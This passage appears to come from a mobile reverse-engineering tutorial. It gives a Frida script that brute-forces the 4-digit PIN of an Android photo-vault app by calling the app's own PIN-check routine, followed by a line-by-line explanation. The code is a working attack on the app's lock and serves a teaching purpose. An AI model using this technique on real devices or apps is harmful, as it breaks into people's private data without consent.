[4c.1] PIN bruteforce (in depth)
function bruteforcePIN() {
Java.perform(() => {
var CryptoUtils = Java.use('com.github.browep.privatephotovault.crypto.CryptoUtils');
var StringUtils = Java.use('org.apache.commons.lang.StringUtils');
var context = getApplicationContext();
for (var i = 0; i < 10000; i++) {
if (i % 1000 == 0) {
console.log('Tried', i, 'PINs');
}
var currentPin = StringUtils.leftPad(i.toString(), 4, '0');
if (CryptoUtils.pinsMatch(currentPin, 'pin', context)) {
console.log('found it!', currentPin);
break;
}
}
});
}Line 2 - Java.perform

Lines 3 and 4 - Java.use
Line 5 - getApplicationContext()
Line 6 - For loop
Lines 7-9 - Update Progress
Line 10 - Preparing our PIN attempt
Last updated
Was this helpful?